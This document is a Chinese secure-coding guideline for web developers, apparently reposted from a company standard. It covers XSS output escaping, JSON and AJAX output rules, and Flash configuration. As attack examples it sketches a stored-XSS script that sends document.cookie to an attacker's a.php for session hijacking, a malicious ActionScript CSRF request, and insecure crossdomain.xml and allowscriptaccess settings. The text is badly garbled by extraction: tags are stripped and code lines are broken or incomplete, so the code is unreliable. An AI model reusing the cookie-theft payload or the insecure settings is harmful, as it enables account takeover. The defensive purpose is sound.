1、 td/td%=rs.getString(pname)%pdescptype/tr% 代码中这几个加粗的变量“rs.getInt()、rs.getString()”,被直接输出到了页面中,没有做任何安全过滤,一旦让用户可以输入数据,都可能导致用户浏览器把“用户可控数据”当成JS/VBS脚本执行,或页面元素被“用户可控数据”插入的页面HTML代码控制,从而造成攻击。PHP代码示例?=$row ?攻击实例如果“代码示例”中的代码,是上的一个web应用,恶意用户可以做以下攻击。攻击流程:1、添加产品时插入恶意脚本 攻击者发布产品后,等待用户来浏览产品列表页面。2、一个用户浏览了页面页面代码页面中直接
2、显示了攻击者当时提交的“pdesc”的内容,也就是恶意脚本。将执行 脚本内容:a=document.createElement(iframe);function b()e=escape(document.cookie);c= 获取当前浏览者的COOKIE,并发送到a.php,这个文件负责接收到用户发来的cookie,并保存为haha.txt文件。这时,用户的cookie已经发送到了攻击者的服务器上,攻击者可以打开haha.txt文件。这就是刚才那个用户的cookie,攻击者可以使用浏览器插件,把自己的cookie替换成刚刚窃取用户的cookie。之后攻击者再次访问服务器时,服务器应用程序,就认
3、为攻击者的身份是刚刚那个用户。解决方案HTML/XML页面输出规范:1,在HTML/XML中显示“用户可控数据”前,应该进行html escape转义。JAVA示例:div#escapeHTML($user.name) #escapeHTML($user.name)所有HTML和XML中输出的数据,都应该做html escape转义。escapeHTML函数参考esapi实现:PHP示例:htmlentities($rowuser.name) < gt; quot; #39; 2,在javascript内容中输出的“用户可控数据”,需要做javascript escape转义。h
4、tml转义并不能保证在脚本执行区域内数据的安全,也不能保证脚本执行代码的正常运行。scriptalert(#escapeJavaScript($user.name)x=div onmouseover=需要转义的字符包括/ - / - - escapeJavaScript函数参考esapi实现: 3,对输出到富文本中的“用户可控数据”,做富文本安全过滤(允许用户输出HTML的情况)。 示例(Fasttext框架):文章内容:#SHTML($article.context)链接img src=”#surl($imgurl)”。Surl函数参考fasttext框架中的实现:5,针对DOM跨站的解决方
5、案,详见javascript安全编码规范,URL在/security.alibaba-6,在给用户设置认证COOKIE时,加入HTTPONLY,详见Cookie httponly flag章节。7,在style内容中输出的“用户可控数据”,需要做CSS escape转义。String safe = ESAPI.encoder().encodeForCSS( request.getParameter(input) );encodeForCSS实现代码参考:AJAX输出规范: 1、XML输出“用户可控数据”时,对数据部分做HTML转义。 示例:xml version=1.0 encoding=UT
6、F-8 ? name#xmlEscape($name) 2、json输出要先对变量内容中的“用户可控数据”单独作htmlEscape,再对变量内容做一次javascriptEscape。String cityname=”浙江”+StringUtil.htmlEscape(city.name)+”;String json = citys:city:+StringUtil.javascript(cityname) + 3、非xml输出(包括json、其他自定义数据格式),response包中的http头的contentType,必须为json,并且用户可控数据做htmlEscape后才能输出。re
7、sponse.setContentType(application/jsonPrintWriter out = response.getWriter();out.println(StringUtil.htmlEscape(ajaxReturn);FLASHFLASH 安全利用flash服务端和客户端在安全配置和文件编码上的问题,导致攻击者可以利用客户端的flash文件发起各种请求或者攻击客户端的页面。FLASH的安全问题主要有服务端的安全设计问题和客户端的flash安全两块:1、服务端的安全 由于没有正确的配置域策略文件,导致客户端的flash文件能够绕过同源策略的限制跨域获取数据。2、客户端
8、安全 客户端在嵌入flash文件的时候没有指定flash文件的客户端限制策略,导致嵌入在客户端的flash文件可以访问HTML页面的DOM数或者发起跨域请求。恶意攻击者利用FLASH的安全问题可以:1、绕过浏览器同源策略的限制发起跨域请求,比如发起CSRF攻击等。2、直接更改页面的dom树,发起钓鱼或者跨站攻击。服务器端crossdomain.xml的错误配置:cross-domain-policyallow-access-from domain=* /cross-domain-policy这样的配置可以导致允许任何来自网络上的请求、不论该请求是来自本域内还是其它域发起的。客户端嵌入flash
9、的错误配置:object classid=clsid:d27cdb6e-ae6d-11cf-96b8-444553540000 codebase=name=Main width=1000 height=600 align=middle id=embed flashvars=site=&sitename= src=”用户自定仪的一个flash文件” name= allowscriptaccess=always type=application/x-shockwave-flashpluginspage=/object例子中的allowscriptaccess选项为always,这样的配置会使fla
10、sh对于html的通讯也就是执行javascript不做任何限制,默认情况下值为“SameDomain”,既只允许来自于本域的flash与html通讯,建议设置为never;例子中没有设置allowNetworking选项,需要把allowNetworking设置为none,因为allowNetworking在设置为all(默认是)或者是internal的情况下会存在发生csrfCSRF的风险,因为flash发起网络请求继承的是浏览器的会话,而且会带上session cookie和本地cookie。1.引发XSS攻击:在一个页面中嵌入flash的代码如下:bodyhiMy Flash Movi
11、eobject type=”application/x-shockwave-flash” width=”550” heigt=”400”param name=”allovwScriptAccess” value=”sameDomain”param name=”movie” value=”myMovie.swf”param name=”quality” value=”high”param name=”bgcolor” value=”#ffffff”embed src=”myMove.swf” width=”550” height=”400”/embed/body用户可以在同域下的某个地方上传一个
12、flash文件如果用户制作一个flash代码如下:Var secretUsername = “cnben”;Var secretPassword = “hello1234”;outputBox.htmlText = “please enter a password”;function checkpassword()outputBox.htmlText = “You must be a valid user.”;elseoutputBox.htmlText = usernameBox.text +”error”Function serPassword(newPassword:String)sec
13、retPassword = newPassword;下面的请求将包含并执行一个存放在远程主机是哪个的javascript文件: src=”2发起CSRF攻击如果allowNetworking选项没有做配置,默认为all,这种情况下,上传一个如下代码的swf文件,用户访问包含这个swf文件的额网页将发起一次CSRF攻击:import .URLRequest;import flash.system.Security;var url = new URLRequest(提交的目标地址var Param = new URLVariables();Param = 参数url.method = POSTur
14、l.data = Param;sendToURL(url);stop();Flash配置规范:1、Crossdomain.xml的安全配置: 如果没有flash应用,去掉crossdomian.xml文件,对有flash应用域的根目录下需要配置crossdomain.xml策略文件,设置为只允许来自特定域的请求,比如淘宝的配置文件如下:/不允许添加site-control permitted-cross-domain-policies=by-content-type,这样会导致客户端可能自己加载自定义策略文件。2、客户端嵌入flash文件的安全配置:1)禁止设置flash的allowscrip
15、taccess为always,必须设置为never,如果设置为SameDomain,需要客户可以上传的flash文件要在单独的一个域下。2)设置allowNetworking选项为none。3)设置allowfullscreen选项为false。如下配置:embed allowscriptaccess=never allowNetworking=”none” allowfullscreen=”false” height=384 width=454 src=”用户自定义的一个flash文件” wmode=transparent loop=false autostart=flash开发规范:1、移
16、除敏感信息确认没有包含像用户名、密码、SQL查询或者其他认证信息在swf文件里面,因为swf文件能够被简单的反编译而使信息泄露2、客户端的验证客户端的验证能够通过反编译软件轻易的去除后重新编译,必须在客户端和服务端都做一次验证,但是服务端的验证不能少3、去除调试信息去除类似于“trace”和其他一些调试语句,因为他们能够暴露代码或数据的功能,如下代码片段暴露了该段代码的验证功能:If(checklogin) Userlogin = ture;trace(“管理员验证成功”);4、参数传入如果有加载外部数据的需求,尽量不要在html中用“params”标签或者是querystring这种形式来注
17、入数据到swf文件中。可以的办法是通过sever端的一个http请求来得到参数。5、allowDomain()flash文件如果有和其他swf文件通信的需求,需要在swf中配置allowDomain()为制定的来源,禁止用*符号来允许任意来源如下AS代码被严格禁止:System.security.allowDomain(loadMovie(param1,param2);6、ActionScript2.0未初始化全局变量AS2.0中接受用户通过FlashVars和Querystring中传入的数据并放到全局变量空间中,如果利用不当会引发变量未初始化漏洞从而绕过部分认证,如下AS代码片段所示:If
18、(Userlogin) ShowData();如果用户在GET请求或者在HTML中作为一个对象参数将userLoggedIn设为true,如下所示:解决方案:AS2.0使用_resolve属性捕获未定义的变量或函数,如下所示:/ instantiate a new objectvar myObject:Object = new Object();/ define the _resolve functionmyObject._resolve = function (name) 未定义的变量;7、加载调用外部文件当FLASH加载调用外部文件的时候需要过滤掉里面的恶意内容,主要有metadata里面
copyright@ 2008-2022 冰豆网网站版权所有
经营许可证编号:鄂ICP备2022015515号-1